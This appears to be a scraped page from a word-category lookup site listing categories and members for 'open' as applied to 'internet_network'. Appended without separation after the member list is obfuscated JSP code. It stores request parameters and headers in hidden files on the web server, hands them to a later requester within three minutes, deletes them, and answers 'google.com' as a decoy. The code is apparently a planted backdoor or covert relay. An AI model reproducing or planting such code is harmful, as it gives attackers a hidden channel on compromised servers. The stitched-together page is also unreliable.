Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
internet_network
with nuance
open
:
open:network,
Simple categories matching
open
:
cell,
space,
function,
area,
ampoule,
structure,
water,
unit,
service,
land,
activity,
vehicle,
feature,
patch,
organization,
room,
envelope,
event,
system,
passage,
part,
country,
article,
fixture,
material,
sea,
gesture,
terrain,
medium,
building,
container,
grain,
object,
file,
resistance,
code,
workplace,
specification,
box,
protocol,
fabric,
collocation,
aquarium,
position,
powerboat,
light,
market,
package,
item,
surface,
construction,
office,
burning,
highway,
door,
perch,
boat,
forest,
meat,
roll,
ocean,
type,
field,
stage,
program,
conduit,
region,
form,
wound,
establishment,
society,
wall,
prey,
image,
sector,
marketplace,
struggle,
seam,
waterway,
vessel,
place,
nester,
nut,
application,
fire,
fencing,
ground,
entity,
group,
conveyance,
cover,
pattern,
environment,
standard,
air,
situation,
clearing,
flow,
menu,
competition,
grassland,
dish,
forum,
section,
lagoon,
car,
shape,
territory,
basin,
shellfish,
shelter,
beam,
design,
liquid,
thing,
enclosure,
appliance,
flower,
science,
designer,
implementation,
excavation,
version,
watercourse,
canopy,
site,
volume,
equipment,
business,
vegetation,
body,
orifice,
conflict,
projection,
pit,
knowledge,
meeting,
food,
stairway,
mollusc,
view,
facility,
curve,
document,
procedure,
habitat,
institution,
face,
receptacle,
community,
location,
woodland,
substance,
bivalve,
network,
housing,
information,
issue,
source,
Members with property
open
:
bowls,
application_method,
railway_side,
pasture,
prairie,
meadow,
garden,
arts,
living-room,
piazza,
shoreline_area,
star,
lake,
road_reserves,
recreation_grounds,
role,
shower_head,
lanai,
tow_tank,
ground_pool,
lawn,
catenary_curve,
glass_flask,
agricultural_work,
grassland,
savanna,
margin,
farmland,
cardinal,
community_playground,
quantity,
suburban_lawn,
station_square,
wood_pasture,
rocky_site,
park_river,
meridian_area,
motorcycle,
entry_way,
foyer,
milk_carton,
ranch,
manometer,
scratch,
word_document,
flour,
scallop,
porch,
conservatory,
aquarium,
deck,
large_meeting,
open_vat,
sewing_shop,
exhibition_complex,
campground,
sunny_oak,
rugby_grounds,
open_lawn,
bench_top,
sport_pitch,
habitat,
modern_organization,
hatchback,
roll,
basement_room,
starling,
unloading_area,
wireless_lan,
valley_bottom,
piano,
factory_grounds,
vegetable_farmland,
interstitial_pore,
combo_carport,
railway,
large_bucket,
surface,
plaza,
speed_order,
green,
exhibition,
open_intranet,
pedestrian_plaza,
nursery,
bean,
awning,
green_lawn,
nature_reserves,
library,
stream,
unfinished_basement,
cycle_route,
foundation,
upland_prairie,
congress,
coal-mine_ridge,
cooking_vessel,
cooperative,
desert_battlefield,
agricultural_fire,
exploration_trench,
garbage_burning,
soccer_field,
tangent,
test,
rear_yard,
chest,
neighborhood_street,
circulation_area,
agricultural_land,
medical_service,
skiff,
parent_seminar,
cleared_site,
town-hall_meeting,
public_hall,
vacant_lots,
dune_area,
club,
pan,
arboretum,
river_margin,
bay,
sedimentation_basin,
open_university,
network_operations,
road,
carpentry_shop,
flower_pot,
internet_network,
step_lighting,
alley,
hit,
sink_area,
door,
grass_margin,
mousepad,
carafe,
church_lawn,
central_park,
tipper,
churchyard,
chip_pit,
watershed,
continuum_model,
concept_art,
shaft,
addition,
harbour,
theater,
open_pan,
political_work,
asphalt_green,
wildflower_meadow,
mesh_bag,
spirituality_symposium,
college_campus,
pool_area,
north-atlantic_ocean,
screen_configuration,
uncultivated_farmland,
pitcher,
vat,
light_forest,
common,
agriculture_land,
cedar_glade,
political_meeting,
ice,
solarium,
x-ray,
vent,
small_wetland,
salad,
open_framework,
business_process,
country_roads,
civic_square,
small_yard,
wardrobe,
junkyard,
animal_bite,
utility_connection,
envelope,
grass,
retention_pond,
limestone_glade,
leisure_development,
windows,
boat_cover,
western_europe,
suburban_garden,
cooking_fire,
education,
neighborhood,
warehouse_site,
funniest_picture,
clearing,
encumbrance,
dirty_abrasion,
bingo,
snowmobile,
dove,
farmyard,
bass_boat,
classroom_disruption,
food_plot,
multipurpose_room,
service,
rice_plantation,
church_hall,
split-rail_fencing,
dancing_competition,
accounting,
swamp,
milk_jug,
forest_roads,
campus,
beach_frontage,
structural_fire,
internet,
conservatory_area,
aeration_basin,
prison_gates,
human_brain,
picture,
university,
final_mass,
coastal_greenway,
control,
parkland_right,
flue,
sea_front,
wire_fencing,
truck,
sparta_place,
view_menu,
disturbed_area,
arching_kick,
marketplace,
river_inlet,
rug,
database_file,
jetty,
normal_file,
large_pool,
river_waterfront,
editor,
adit,
sport_field,
hotel_lobby,
edge,
roadside,
public_roads,
pocket,
highland,
shoreline,
hard_court,
pavilion,
weave,
view_designer,
screen,
ire,
bottle,
grackle,
jesus_green,
brooklyn-bridge_park,
pecan_orchard,
day-care_center,
shortcut,
cardboard_box,
distribution_center,
airport_protection,
leaf_skeleton,
traffic_noise,
rough_grassland,
view,
social_science,
parking_structure,
cone,
desk_top,
moorland,
carotid_endarterectomy,
urban_wild,
skin,
cone_calorimeter,
swamp_land,
mount,
apache,
attic_space,
row_boat,
slot,
plantation,
beach_cabana,
firebreak,
authentication_service,
neural_network,
surface_reservoir,
trivia_night,
sport_boat,
hall,
livestock_barn,
exhibition_space,
american_prairie,
memorial_quadrangle,
den,
spring,
retreat,
pet_dish,
rice,
telephone,
cooling,
woodland_glade,
living-room_floor,
suburban_area,
stock_yard,
association,
wavy_sheet,
dryness,
aircraft_hanger,
sandy_heath,
bike_trail,
letters,
dean_ridge,
dozer,
incomplete_work,
sedan,
noncompliance_issue,
garden_tour,
lab,
campfire,
identification_camp,
influence,
morgan_court,
bald_knob,
platform,
savanna_fire,
school,
limo,
sparse_grassland,
unmade_roads,
activity_room,
hospital,
honeycomb_cell,
openness,
brushy_slope,
counter,
digital_library,
titration_ampoule,
structural_landscaping,
star_office,
pie_tin,
orgy_room,
outdoor_section,
grassy_ride,
strike,
fire_accident,
ventricle,
dugout,
carport,
face,
pc,
coastal_area,
sound,
word_file,
patio_umbrella,
disturbed_habitat,
cooking_hut,
export_bill,
mine,
water-company_land,
ley_line,
drum,
point,
reservoir,
virtual_enterprise,
river_bed,
wildlife_habitat,
court,
jam_jar,
oscilloscope_application,
common_green,
lobby_room,
forum,
burn,
biographical_file,
concrete,
glass_terrarium,
machine,
free_market,
expanse,
safari,
medicine,
rock_barren,
wire_mesh,
file_view,
play_area,
community_hall,
pine_plantation,
green_wedge,
mountainous_area,
auditorium,
pasture_paddock,
form,
annual_review,
ocean,
pedestrian_facility,
pickup_truck,
outdoor_mall,
bench,
convention_hall,
waggon_shed,
air,
university_yard,
printer,
flowerpot,
telephone-service_line,
exposure_scheme,
trauma,
block_party,
theatre,
big_river,
artificial_clearing,
abandoned_pastureland,
curtain,
optical_turnstile,
wine_rack,
basket,
philanthropic_event,
domestic_water,
bowling,
farm_pond,
hard_return,
outside_toilet,
big_meadow,
public_park,
log,
corporate_intranet,
ray,
railroad_gondola,
red_head,
system_file,
corral,
hay_meadow,
canal,
classroom,
hayfield,
refrigerator_door,
platter_vessel,
fish,
stadium,
story_times,
similar_place,
narrow_river,
mug,
greenbelt,
medicine_container,
natural_grassland,
sport_hall,
groves,
covered_patio,
workroom,
bag,
shade,
gymnasium,
bus,
basin,
network_connection,
home_lawn,
sporting_venue,
sand_barren,
wide_glade,
beaver_pond,
mall,
utility_company,
issue,
reception_area,
town_park,
school_site,
verge,
main_quad,
salt_lake,
balusters,
rowboat,
perforated_metal,
cabinet,
home_computer,
word-processing_file,
cheese,
access_control,
graveyard,
people,
native_grassland,
garden_aquarium,
logic,
supporting_frame,
front_garden,
daisy,
fiberglass,
main_city,
rainwater_garden,
field,
rail_cutting,
roadside_verge,
observatory,
public_path,
tank,
flat_plane,
pit_fire,
basement,
tank_pit,
industrial_wasteland,
babysitting,
victoria_square,
jug,
green_space,
box,
pier,
meadow_space,
straw,
sandwich_panel,
park_day,
farm,
server,
poultry_building,
town_wall,
japan_sea,
fairground,
civic_center,
florist_envelope,
trouser,
test_methodology,
landfill_fire,
rv_cover,
samba,
palm_plantation,
dory,
gala_event,
patio,
canopy,
lifeboat,
solid_foam,
stone_quarry,
open_habitat,
pasture_field,
north_nutgrass,
abandoned_farmland,
waste_place,
rome_symposium,
bridge,
side,
fallow_land,
desktop_file,
ethernet,
green_heart,
convention_center,
chimney,
corridor_ceiling,
albatross,
whitewater_canoe,
jute_stick,
strategy_game,
wastebasket,
lattice,
goal,
high_desert,
richmond_park,
canteen,
shelf,
sport_night,
agricultural_area,
freshwater_lake,
field_margin,
cabriolet,
boiler,
car,
cockle,
open_ditch,
hill,
storage_shelf,
vernal_pool,
pail,
farm_field,
mussel,
nesting_area,
shed,
scattered_glade,
comprehensive_school,
great,
basement_stairs,
intranet,
surgical_wound,
library_organization,
gas_vent,
royal_commission,
sea,
paper,
horticultural_crop,
grassland_fire,
great_room,
rocky_glade,
bald_eagle,
pigeon,
water_column,
major_burn,
saucepan,
construction_site,
greenway_buffer,
jenner_schoolyard,
picnic_pavilion,
honeycomb,
niche,
laboratory,
minor_injury,
wireless_network,
gulf,
flat_area,
parrish_lawn,
pylon,
playground_equipment,
multipurpose_path,
sandwich,
foam_cup,
license,
quad,
market,
document,
roads,
computer_room,
aperture,
intersecting_line,
park_shelter,
morgan_point,
slit,
shallow_box,
breakout_area,
fundraiser,
winter_range,
bar,
java,
large_laboratory,
atmosphere,
riparian_margin,
down,
town_green,
valley_floor,
pickup,
sunday_bonanza,
cliff_site,
apache_license,
representation,
cavity,
pit,
retail_mall,
cereal,
savannah,
school_hall,
beads,
ridge_top,
logging_roads,
footpath,
robin,
trough,
large_reservoir,
scrape,
open_space,
roof,
crevasse,
john_boat,
wilderness_area,
grass_verge,
traditional_post,
roadster,
mps,
connection_file,
aurora_plaza,
glade,
pole,
laceration,
cat_bite,
floodplain,
luggage,
sump,
closed_form,
horn_antenna,
roads_green,
mouth,
natural_meadow,
wooded_land,
financial_service,
grooved_roll,
related_form,
derelict_site,
windows_registry,
neighborhood_playground,
farm_preservation,
waste_area,
mockingbird,
civic_space,
copyright,
cathedral_garden,
wire_basket,
recreational_fire,
notary_practice,
cricket_pitch,
neighborhood_park,
poultry,
debit_position,
outdoor_area,
egg_carton,
watershed_land,
perimeter_landscape,
clams,
electronic_market,
emergency_lighting,
steppe,
sauce,
service_pit,
ditch,
crop_land,
tube_network,
marine_terminal,
native_habitat,
eu,
stock_pond,
whitethroat,
screen_porch,
park_land,
nature_site,
blueberry_barren,
driving_range,
amenity_area,
field_corner,
new_playground,
oyster,
paper_sack,
fitness,
large_hangar,
sand_hill,
smile,
football_grounds,
bar_tab,
open_vessel,
wedding,
drawers,
barge,
decompression,
cantilever,
corn,
heathland,
polynya,
common_land,
bug_bite,
twig,
sealant,
neighborhood_common,
rain_shelter,
mainstream_religion,
violent_confrontation,
grassland_savanna,
review_papers,
river,
convention_centre,
new_york,
african_walnut,
milk,
station_platform,
alligator_alley,
forest_floor,
forest_clearing,
home_garden,
town_square,
native_prairie,
baseball_dugout,
river_water,
glass_cabinet,
chin,
window,
landscaping_service,
temporary_clearing,
playground,
major_abrasion,
bathroom,
suv,
nato,
uncapped_bottle,
public_playground,
back_seam,
web,
hotel,
carpet,
glass_bowl,
community_forum,
crevice,
political_party,
picnic_shelter,
pond,
crop,
green_image,
monthly_retreat,
recreation_center,
bus_shelter,
barrels,
church,
temperature_variation,
large_backyard,
direct_manager,
full_basement,
local_park,
atrium_area,
ring,
shear_flow,
brazilian_congress,
certification,
meeting_room,
cauldron,
preservation,
scrim,
water_area,
frame,
speedway,
shutter_door,
native,
waiting_room,
castle_green,
leicester_square,
small_crabs,
tundra,
textile,
copley_square,
campus_scenario,
school_playground,
tidal_basin,
board_room,
riverside_path,
rural_area,
car_boot,
pleural_space,
pavement,
food_container,
rod,
walnut,
under_floor,
midnight_madness,
folder,
united_nation,
athletic_field,
beach_yawl,
pot,
kibbutz,
city_street,
gin_sea,
flow,
lesion,
tourer,
conference,
jersey_knit,
market_factor,
desk_drawers,
verb,
building,
city_square,
internet_option,
fishing_area,
tallgrass_prairie,
railway_track,
nose,
forested_land,
dishwasher,
pine_bark,
grain_boundary,
tube,
colon_surgery,
use_language,
intensive-care_unit,
osprey,
ecosystem,
industrial_ethernet,
stage,
water,
net_envelope,
street_intersection,
patio_deck,
escarpment_area,
multistory_block,
public_garden,
brass_bowl,
auction,
torch,
variable_pergola,
forest,
kitchen_fire,
cheek,
contract,
recreational_play,
back,
computer,
exhibition_centre,
workshop,
earth,
schoolyard,
eyes,
personal_computer,
nesting_space,
quay_wall,
garbage_area,
warbler,
seawater,
mountain_top,
humanities,
large_river,
convertible,
security,
vacant_lot,
old_field,
woodland_opening,
lonely_desert,
site,
ranch_land,
volunteer_opportunity,
green_belt,
classroom_setting,
woodland_clearing,
simple_sugar,
saucer,
bicycle,
road_side,
action_item,
loading_bay,
large_quad,
ureterocele_excision,
pool,
bedroom_floor,
game_situation,
small_lake,
level_desert,
planning_meeting,
semantic_web,
pleural_cavity,
aircraft,
recreation_use,
verandah,
large_lake,
independent_publication,
phaeton,
concrete_floor,
city_park,
wide_field,
laundry_room,
ski_boat,
medical_supply,
strait,
school_yard,
bond,
overgrown_field,
tray,
crossroads,
security_light,
public_meeting,
grill_fire,
packaging,
open_pit,
pastureland,
beaker,
garden_land,
neighborhood_association,
square,
town,
land_use,
ftp,
front,
timber_plantation,
classroom_building,
sewer,
centenary_square,
paddy,
garage,
ballroom,
retail_space,
aircraft-landing_field,
airport,
cafeteria,
floor,
greenway,
forehead,
plastic_dishpan,
artery,
american_market,
horse,
neglected_area,
research,
word-processing_program,
towner_swamp,
feedlot,
private_garden,
spiral,
soap,
forest_land,
log_file,
sales_person,
compression_plating,
grassy_field,
campus_green,
waterfront,
moor,
large_bowl,
fence_post,
rocky_place,
ampoule,
public_plaza,
abdominal_cavity,
undeveloped_coast,
contact,
dune,
centennial_parkland,
windows_server,
courtyard,
mesic_prairie,
ridge,
spiritual_exercise,
arena,
backpack,
garage_door,
town_belt,
car_body,
tunisian_desert,
open_plot,
bracken,
school_campus,
gas-station_canopy,
street,
elk_hill,
string,
oil,
palm,
creek_restoration,
registry,
native-american_tribe,
ling_wasteland,
peasant_organization,
bite,
retail_outlet,
community_garden,
aspirin_bottle,
clean_air,
medium_broadcast,
isolated_area,
alcove,
half_shell,
franklin_stove,
plenary_meeting,
green_pasture,
desert_grassland,
restaurant,
fence_row,
select_print,
bonfire,
hampton_court,
doll_head,
nectar,
cylinder_volume,
play,
bass_strait,
mountain_side,
flowerbed,
montane_grassland,
tranquillity,
wilderness,
sporting_grounds,
aspirin_container,
appalachian_trail,
internet_protocol,
utility,
noun,
gazebo,
canoe,
alt,
abalone,
mail,
creek,
coastal_land,
urban_creek,
nafta,
tractor,
limestone_quarry,
usa,
roof_panel,
athletic_center,
river_mouth,
backyard,
arch,
heath,
system,
back_garden,
bed,
barn_aisle,
mixed_farmland,
candle,
monument_grounds,
museum_exhibit,
similar_vehicle,
railway_embankment,
alpine_habitat,
controller,
symposium,
composite_structure,
simulation,
highland_game,
eaves,
dishwasher_cavity,
warming_fire,
installation,
wall,
tin,
playing_pitch,
cup_saucer,
dish,
toilet,
home_compound,
police_conference,
old_pasture,
immigrant_community,
quarry,
motorboat,
wool,
atrium,
tcp,
word-processing_document,
tot_lots,
attic,
factory,
picket,
smallholding,
netball_court,
luggage-compartment_cover,
body,
camp,
house_front,
storage_yard,
closed_system,
agriculture,
wooded_area,
natural_science,
grand_piazza,
coast,
foam,
hangar,
woodland_meadow,
lower_green,
public_forum,
light_savanna,
festival,
track,
residential_development,
theatre_area,
garage_floor,
public_place,
pasture_land,
landscaped_plaza,
lobby,
internet_web,
rooftop,
charcoal_fire,
beverage,
south-pacific_ocean,
large_lecture,
meeting_agenda,
expanded_metal,
fire_ring,
email_program,
process_building,
trench,
city,
harbor,
waiting_area,
shopping_plaza,
hillside_garden,
parkland,
public_internet,
playground_area,
grassy_meadow,
large_garden,
organization,
work_area,
factory_floor,
lumber_camp,
pond_area,
manufacturing_facility,
shoe_box,
open_office,
reception,
sinai_gas,
mesh,
community,
hovercraft,
jeep,
area,
closet_door,
frank_park,
open_source,
condiment,
chase_park,
bread,
victorian_garden,
large_yard,
camp_fire,
bird_bath,
fan_house,
holiday_party,
office_space,
lagoon,
chaparral,
woodland_pasture,
united_state,
trail,
flashlight,
shoebox,
barn,
equestrian_trail,
reserves,
mountain_meadow,
lattice_works,
battery,
cup,
loose_sweet,
aircraft_hangar,
recreation_hall,
back_space,
killdeer,
solar_atmosphere,
coarse_gravel,
type,
shallow_bowls,
farming_land,
sydney_harbour,
water_pass,
condominium_lobby,
equalization_basin,
wagon,
large_tank,
coastal_hill,
cemetery,
packet,
village,
farm_land,
concourse_area,
pore,
magnolia,
mezzanine,
loft,
oven,
empty_office,
jet_fire,
forest_edge,
old_campus,
deck_covering,
bridge_park,
roof_top,
safety_quiz,
paint,
highway_buffer,
cluster,
cavalry_charge,
landscaping,
health_fair,
public_reserves,
bottom,
sidewalk,
airfield,
safe,
open_standard,
dining-room,
open_tank,
commercial_garage,
united_kingdom,
bedpan,
meat,
house,
scope,
abandoned_farmyard,
moorland_area,
squeeze_bottle,
shop,
glass_bottle,
prairie_region,
sporting_area,
brain,
scree,
hay_shed,
kitchen,
laminectomy,
indoor_garden,
ornamental_garden,
corporate_plaza,
trespassing_hunter,
gas,
spiral_arms,
tunnel,
paddock,
concert,
dam,
process_plant,
staff_base,
rig_tank,
hazelnut,
knit,
business_forum,
cross_campus,
alert_view,
customer_service,
back_yard,
remote_desktop,
ignition_box,
park_lawn,
wet_meadow,
quadrangle,
grain_market,
open_forest,
sugar,
diving_torch,
yard,
place_fan,
down_land,
exhibit_hall,
farm_pasture,
rail,
suburb,
polypropylene_fabric,
free_jet,
silicon_substrate,
oak_savanna,
mortar,
raised_bog,
miniature-golf_course,
greenwich_park,
hollow_cube,
shade_structure,
rooftop_deck,
appointment,
bayonet,
chicken,
table,
coconut_plantation,
introduction,
institutional_market,
galaxy,
black_sea,
natural_area,
inorganic_molecule,
park_pavilion,
ladle,
diamond_lattice,
network_equipment,
unused_tin,
dirt_roads,
liquid_flow,
scenic_zone,
open_view,
prep_tray,
large_fissure,
yangtze_basin,
glass,
scrim_fabric,
fireplace,
cash_box,
carton,
public_space,
flask,
rock_quarry,
lorry_side,
linnet,
free_surface,
supermarket,
ride_margin,
warehouse,
hillside,
orchard,
wood,
rail_fencing,
bowl,
energy,
campground_roads,
tent,
wing_wall,
measure,
bath,
abrasion,
lizard,
project,
football,
safety,
email_system,
school_grounds,
face_ear,
beaver_meadow,
new_lawn,
expansive_lawn,
water_tunnel,
lumen,
wasteland,
pen,
cage,
vinyl_rail,
wrought-iron_fence,
meeting,
tackle_box,
juice,
open_side,
production_plant,
range,
google_earth,
bucket,
village_square,
http,
manufacturing_space,
external_plant,
community_meeting,
cheesecloth,
plant,
assignment,
seedbed,
woodland,
human_system,
tournament,
staff_meeting,
tree_plantation,
woodland_habitat,
surface_cooler,
waste_ground,
powdered_food,
sedge_meadow,
administration_building,
porous_asphalt,
gidgee_flats,
rock_face,
dive_operation,
mountain,
taco,
recreation_area,
domestic_burning,
student_fair,
dry_grassland,
open_drain,
office,
certain_van,
bread_roll,
vase,
business,
harvard_yard,
rooftop_garden,
dissection,
bruise,
waste,
simulation_method,
unilateral_facelift,
station,
party,
adhesion,
vault,
pergola,
trailer,
metal_bucket,
architecture_forum,
simpson_lagoon,
bath_tub,
park,
forest_opening,
large_classroom,
balcony,
abdominal_wound,
alpine_meadow,
culture,
country,
weedy_area,
cracking_tower,
email_client,
jet,
mature_tree,
seminar,
museum,
team_tournament,
deck_lighting,
environmental_protection,
gap,
doctor_office,
europe,
sink,
open_ridge,
campsite,
pole_shed,
green_grid,
railway_wagon,
fence,
public_street,
valvular_operations,
industrial_area,
desert,
path,
oak_woodland,
dirty_ice,
light,
package,
cracker,
industrial_site,
sage,
old_meadow,
telecommunication_tower,
urban_parkland,
public_arena,
palm_groves,
candy_dish,
tabletop,
pie_plate,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>